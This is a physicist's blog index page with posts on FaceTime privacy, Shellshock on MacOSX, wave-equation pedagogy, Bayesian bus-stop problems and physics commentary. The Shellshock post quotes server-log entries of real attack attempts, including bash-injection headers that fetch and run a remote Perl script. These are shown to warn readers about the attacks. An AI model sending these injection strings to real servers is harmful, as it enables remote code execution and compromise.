Skip to the Main Content

Note:These pages make extensive use of the latest XHTML and CSS Standards. They ought to look great in any standards-compliant modern browser. Unfortunately, they will probably look horrible in older browsers, like Netscape 4.x and IE 4.x. Moreover, many posts use MathML, which is, currently only supported in Mozilla. My best suggestion (and you will thank me when surfing an ever-increasing number of sites on the web which have been crafted to use the new standards) is to upgrade to the latest version of your browser. If that's not possible, consider moving to the Standards-compliant and open-source Mozilla browser.

December 18, 2014

Smoke Signals, Morse Code or … ?

It seemed like a straightforward question. If you use Apple’s to store your contacts, you’ve surely noticed this behaviour: some of your contacts auto-magically sprout clickable links for Facetime video/audio chats, with no intervention on your part. I was curious enough to submit a query about it, via Apple’s Support Site: seems to know whether each of my contacts has registered their email for FaceTime, even if I have NEVER tried to facetime with them (or call their cell-phone or …). How does it do this? Are all of the email addresses in my addressbook automatically uploaded to Apple’s servers? If so, how do I turn this off, as it seems to be a MASSIVE invasion of my privacy.

That was a month and a half ago (2014/11/02). Today, I received a response:

Posted by distler at 3:14 PM | Permalink | Followups (9)

October 25, 2014


Wow! After a decade, Wikipedia finally rolls out MathML rendering. Currently, only available (as an optional preference) to registered users. Hopefully, in a few more years, they’ll make it the default.

Some implementation details are available at Frédéric’s blog.

Posted by distler at 1:19 AM | Permalink | Followups (4)

September 27, 2014

Shellshock and MacOSX

Most Linux Distros have released patches for the recently-discovered “Shellshock” bug in /bin/bash. Apple has not, despite the fact that it uses bash as the default system shell (/bin/sh).

If you are running a webserver, you are vulnerable. Even if you avoid the obvious pitfall of writing CGI scripts as shellscripts, you are still vulnerable if one of your Perl (or PHP) scripts calls out to system(). Even Phusion Passenger is vulnerable. And, yes, this vulnerability is being actively exploited on the Web. - - [24/Sep/2014:20:35:04 -0500] "GET / HTTP/1.0" 301 402 "() { :; }; ping -c 11" "shellshock-scan (" "-" - - - - - [25/Sep/2014:02:50:59 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 411 "-" "() { :;}; /bin/ping -c 1" "-" - - - - - [25/Sep/2014:18:55:31 -0500] "GET / HTTP/1.1" 301 379 "() { :; }; /bin/ping -c 1" "() { :; }; /bin/ping -c 1" "-" - - - - - [25/Sep/2014:20:05:01 -0500] "GET / HTTP/1.1" 301 379 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php5 HTTP/1.0" 301 391 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php HTTP/1.0" 301 390 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 301 395 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/ HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/ HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /test HTTP/1.0" 301 383 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/ HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" -  - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php HTTP/1.0" 404 359 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php5 HTTP/1.0" 404 360 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 404 364 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - [26/Sep/2014:03:29:41 -0500] "GET /test HTTP/1.0" 404 352 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/ HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/ HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/ HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:14:39:29 -0500] "GET / HTTP/1.1" 301 385 "-" "() { :;}; /bin/bash -c \"wget --delete-after\"" "-" - - - - - [26/Sep/2014:14:39:30 -0500] "GET / HTTP/1.1" 200 155 "-" "() { :;}; /bin/bash -c \"wget --delete-after\"" "-" - - - - - [26/Sep/2014:15:09:21 -0500] "GET /category/2007/07/making_adscft_precise.html%0A HTTP/1.1" 301 431 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:09:23 -0500] "GET /category/2007/07/making_adscft_precise.html%0D%0A HTTP/1.1" 301 434 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:09:24 -0500] "GET /category/2007/07/making_adscft_precise.html%0d%0a HTTP/1.1" 404 393 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:09:33 -0500] "GET /category/2007/07/making_adscft_precise.html%0a HTTP/1.1" 404 392 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:11:41 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0A HTTP/1.1" 301 439 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:11:44 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0a HTTP/1.1" 404 400 "-" "() { :;}; echo -e 'detector'" "-" - - -

Some of these look like harmless probes; others (like the one which tries to download and run an IRCbot on your machine) less so.

If you’re not running a webserver, the danger is less clear. There are persistent (but apparently incorrect) rumours that Apple’s DHCP client may be vulnerable. If true, then your iPhone could easily be pwned by a rogue DHCP server (running on someone’s laptop) at Starbucks.

I don’t know what to do about your iPhone, but at least you can patch your MacOSX machine yourself.

Posted by distler at 12:58 PM | Permalink | Followups (2)

August 19, 2014

Golem V

For nearly 20 years, Golem has been the machine on my desk. It’s been my mail server, web server, file server, … ; it’s run Mathematica and TeX and compiled software for me. Of course, it hasn’t been the same physical machine all these years. Like Doctor Who, it’s gone through several reincarnations.

Alas, word came down from the Provost that all “servers” must move (physically or virtually) to the University Data Center. And, bewilderingly, the machine on my desk counted as a “server.”

Posted by distler at 3:05 PM | Permalink | Followups (15)

February 24, 2014


My eldest turned 18 and voted in her first Primary election this week. This being Texas, she decided to register as a Republican. Which means that, soon, we will start fielding phone calls from political campaigns. So I drafted a set of questions to ask the earnest campaign workers when they call.

Posted by distler at 9:30 PM | Permalink | Followups (9)

February 22, 2014


Sometimes, for the sake of pedagogy, it is best to suppress some of the ugly details, in order to give a clear exposition of the idea behind a particular concept one is trying to teach. But clarity isn’t achieved by outright lies. And I always find myself frustrated when our introductory courses descend to the latter.

My colleague, Sonia, is teaching the introductory “Waves” course (Phy 315) which, as you might imagine, is all about solving the equation

(1)0=( 2t 2c 2 2x 2)u(x,t)0 = \left(\frac{\partial^2}{{\partial t}^2} - c^2 \frac{\partial^2}{{\partial x}^2}\right) u(x,t)

This has travelling wave solutions, with dispersion relation

(2)ω(k) 2=c 2k 2{\omega(k)}^2 = c^2 k^2

If you study solutions to (1), on the interval [0,L][0,L], with “free” boundary conditions at the endpoints,

(3)ux| x=0,L=0\left.\frac{\partial u}{\partial x}\right\vert_{x=0,L} = 0

you find standing wave solutions u(x,t)=Acos(kx)cos(ckt) u(x,t) = A \cos(k x)\cos( c k t) where the boundary condition at x=Lx=L imposes

(4)sin(kL)=0orkL=nπ,n=1,2,\sin(k L) = 0\qquad \text{or}\qquad k L = n\pi,\, n=1,2,\dots

The first couple of these “normal modes” look like

(5) Layer 1 x = 0 x=0 x = L x=L Layer 1 x = 0 x=0 x = L x=L n=1 n=2\begin{matrix} \begin{svg} <svg width="240" height="102" xmlns="" xmlns:svg="" xmlns:se="" xmlns:math=""> <g> <title>Layer 1</title> <path id="svg_36902_1" d="m220,101c-100,0 -100,-100 -200,-100" stroke-width="2" stroke="#ff0000" fill="none"/> <line fill="none" stroke="#000000" stroke-width="2" x1="20" y1="51" x2="220" y2="51" id="svg_36902_2"/> <foreignObject height="20" width="40" font-size="16" id="svg_36902_3" y="51" x="0"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mn>0</mn> </mrow> <annotation encoding="application/x-tex">x=0</annotation> </semantics> </math> </foreignObject> <foreignObject id="svg_36902_4" height="20" width="40" font-size="16" y="51" x="200"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mi>L</mi> </mrow> <annotation encoding="application/x-tex">x=L</annotation> </semantics> </math> </foreignObject> </g> </svg> \end{svg} & \begin{svg} <svg width="240" height="102" xmlns="" xmlns:svg="" xmlns:se="" xmlns:math=""> <g> <title>Layer 1</title> <line fill="none" stroke="#000000" stroke-width="2" x1="20" y1="51" x2="220" y2="51" id="svg_36903_2"/> <foreignObject height="20" width="40" font-size="16" id="svg_36903_3" y="51" x="0"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mn>0</mn> </mrow> <annotation encoding="application/x-tex">x=0</annotation> </semantics> </math> </foreignObject> <foreignObject id="svg_36903_4" height="20" width="40" font-size="16" y="51" x="200"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mi>L</mi> </mrow> <annotation encoding="application/x-tex">x=L</annotation> </semantics> </math> </foreignObject> <path fill="none" stroke="#ff0000" stroke-width="2" d="m20,1c50,0 50,100 100,100c43,0 50,-100 100,-100" id="svg_36903_5" fill-opacity="0"/> </g> </svg> \end{svg}\ n=1&n=2 \end{matrix}

To “illustrate” this, in their compulsory lab accompanying the course, the students were given the task of measuring the normal modes of a thin metal bar, with free boundary conditions at each end, sinusoidally driven by an electromagnet (of adjustable frequency).

Unfortunately, this “illustration” is a complete lie. The transverse oscillations of the metal bar are governed by an equation which is not even approximately like (1); the dispersion relation looks nothing like (2); “free boundary conditions” look nothing like (3) and therefore it should not surprise you that the normal modes look nothing like (4).

Unfortunately, so inured are they to this sort of thing, that only one (out of 120!) students noticed that something was amiss in their experiment. “Hey,” he emailed Sonia, “Why is the n=1n=1 mode absent?”

Posted by distler at 3:55 PM | Permalink | Post a Comment

February 11, 2014

Naturalness Versus the Weak Gravity Conjecture

Clifford Cheung and his student have a cute paper on the arXiv. The boldest version of what they’re suggesting is that, perhaps, quantum gravity solves the hierarchy problem.

That’s way too glib a summary, but the detailed version is still pretty surprising.

Posted by distler at 8:32 PM | Permalink | Post a Comment

February 7, 2014


Humans are hard-wired to find patterns.

Even when there are none.

Explaining those patterns (at least, the ones which are real) is what science is all about. But, even there, lie pitfalls. Have you really controlled for all of the variable which might have led to the result?

Posted by distler at 12:27 PM | Permalink | Followups (8)

December 28, 2013

The Bus Stop Problems

Since we had so much fun with Bayes Theorem in a recent post, I can’t resist another.

Young Economics whippersnapper Evan Soltas posed two problems to do with Bayesian probability:

  1. You arrive at a bus stop in an unfamiliar part of town. Assume that buses arrive at the stop as a Poisson process, with an unknown (to you) rate, λ\lambda. You don’t know λ\lambda, but say you have a prior probability distribution for it, p 0(λ)p_0(\lambda).
    • What’s your expected wait time, T\langle T\rangle, for the next bus to arrive?
    • Say you’ve been waiting for a time tt. What’s your posterior probability distribution, p(λ)p(\lambda), and what’s your new expected wait time?
  2. Let’s add some more information. Say that riders arrive at the bus stop via an independent Poisson process with an (unknown to you) rate, μ\mu. Whenever a bus arrives, all those waiting at the stop get on it. Thus, the number of people waiting is the number who arrived since the last bus. Say you arrive at the stop to find nn people already waiting. You wait for a time, tt, at which point there are NN other people waiting at the stop (i.e., NnN-n arrived while you were waiting).
    • Given this data, what’s your posterior probability distribution, p(λ,μ)p(\lambda,\mu)?
    • What’s your new expected wait time, T\langle T\rangle?

These questions illustrate one of my favourite points of view on Bayes Theorem, namely that it induces a flow on the (infinite-dimensional!) space of probability distributions. Understanding the nature of that flow is, I think, the key task of the subject.

Infinite dimensions are hard to get an intuition for, so one of the first tasks is to cut the problem down to a finite-dimensional one.

Posted by distler at 4:42 PM | Permalink | Followups (4)

October 31, 2013

Halloween 2013

It’s Halloween, again. Time for another pumpkin.

Posted by distler at 10:23 AM | Permalink | Followups (2)

August 24, 2013


Normally, I wouldn’t touch a paper, with the phrase “Boltzmann brains” in the title, with a 10-foot pole. And anyone accosting me, intent on discussing the subject, would normally be treated as one of the walking undead.

But Sean Carroll wrote a paper and a blog post and I really feel the need to do something about it.

Posted by distler at 2:10 PM | Permalink | Followups (29)

August 6, 2013

Maybe this time …

Lucy snatches football from Charlie Brown... again

For many years, I tried keeping up with the LQG literature. Though it provided occasional fodder for blogging, it mostly was an exercise in frustration. Years ago, I gave up the effort. Still, occasionally, an LQG paper crosses my radar screen with claims interesting enough to cause me to suspend my better judgement.

One such paper, by Gomes et al, purports to be a significant breakthrough in the understanding of AdS/CFT. They claim to reproduce the conformal anomaly of a boundary CFT from some Loopy formulation (“Shape Dynamics”) of the bulk theory, thereby shedding light on the 1998 computation of Henningson and Skenderis who first reproduced the conformal anomaly from AdS/CFT (a more careful and thorough derivation can be found in a followup paper).

How could I resist?

Posted by distler at 10:59 AM | Permalink | Followups (6)

June 27, 2013

I lost

It’s been 20 years since I had the surreal experience of turning on C-Span late at night to see my future boss, Steve Weinberg, testify before Congress on behalf of the SSC.

Steve, alas, was unsuccessful; the SSC was cancelled, and the High Energy Physics community threw our collective eggs in the basket of the LHC. The SSC, at s=40\sqrt{s}=40TeV, was designed as a discovery machine for TeV-scale physics. The LHC, with a design energy of s=14\sqrt{s}=14TeV, is the best one could do, using the existing LEP tunnel. It was guaranteed to discover the Higgs. But for new physics, one would have to be somewhat lucky.

Posted by distler at 11:59 AM | Permalink | Followups (25)

September 16, 2012


Update (10/18/2012) — Mea Culpa:

Sonia pointed out to me that my (mis)interpretation of Ozawa was too charitable. We ended up (largely due to Steve Weinberg’s encouragement) writing a paper. So… where does one publish simple-minded (but, apparently, hitherto unappreciated) remarks about elementary Quantum Mechanics?

Sonia was chatting with me about this PRL (arXiv version), which seems to have made a splash in the news media and in the blogosphere. She couldn’t make heads or tails of it and (as you will see), I didn’t do much better. But I thought that I would take the opportunity to lay out a few relevant remarks.

Since we’re going to be talking about the Uncertainty Principle, and measurements, it behoves us to formulate our discussion in terms of density matrices.

Posted by distler at 12:27 AM | Permalink | Followups (29)

July 24, 2012

Bringing the Web to America

It has long been my conviction that anything appearing on the Wall Street Journal’s Editorial/Op-Ed pages is a lie. In fact, if there’s a paragraph appearing on those pages, in which you can’t spot an evident falsehood or obfuscation, then the problem is that you haven’t studied the topic, at hand, in sufficient depth.

On that note, it comes as no surprise that we “learn” [via Kevin Drum] that the Internet was the creation of private industry (specifically, Xerox PARC), not some nasty Government agency (DARPA). Nor is it surprising that the author of the book about PARC, on which the claims of the WSJ Op-Ed were based, promptly took to the pages of of the LA Times to debunk each and every paragraph. (See also Vint Cerf: “I would happily fertilize my tomatoes with Crovitz’ assertion.”)

Which leaves me little to do, but post a copy of this lecture, from 1999, by Paul Kunz of SLAC. The video quality is really bad, but this is (to my knowledge) the only extant copy. He tells a bit of the pre-history of the internet, and the role high energy physicists played.

As Michael Hiltzik alluded to, in his LA Times piece, AT&T (and, more relevant for Kunz’s story, the Europeen Telecoms) were dead-set against the internet, and did everything they could to smother it in its cradle. High energy physicists (who were, in turn, funded by …) played a surprising role in defeating them. (And yes, unsurprisingly, Al Gore makes a significant appearance towards the end.)

Enjoy ….

Paul Kunz: Bringing the Web to America

And now you know the answer to the trivia question: “What was the first website outside of Europe?”


For those unfamiliar with how this all works, Gordon Crovitz, the author of the hilariously wrong column in question, is the former publisher of the Wall Street Journal. And the column, itself, is now endlessly echoed and repeated in the wingnutosphere.
Posted by distler at 11:57 PM | Permalink | Followups (1)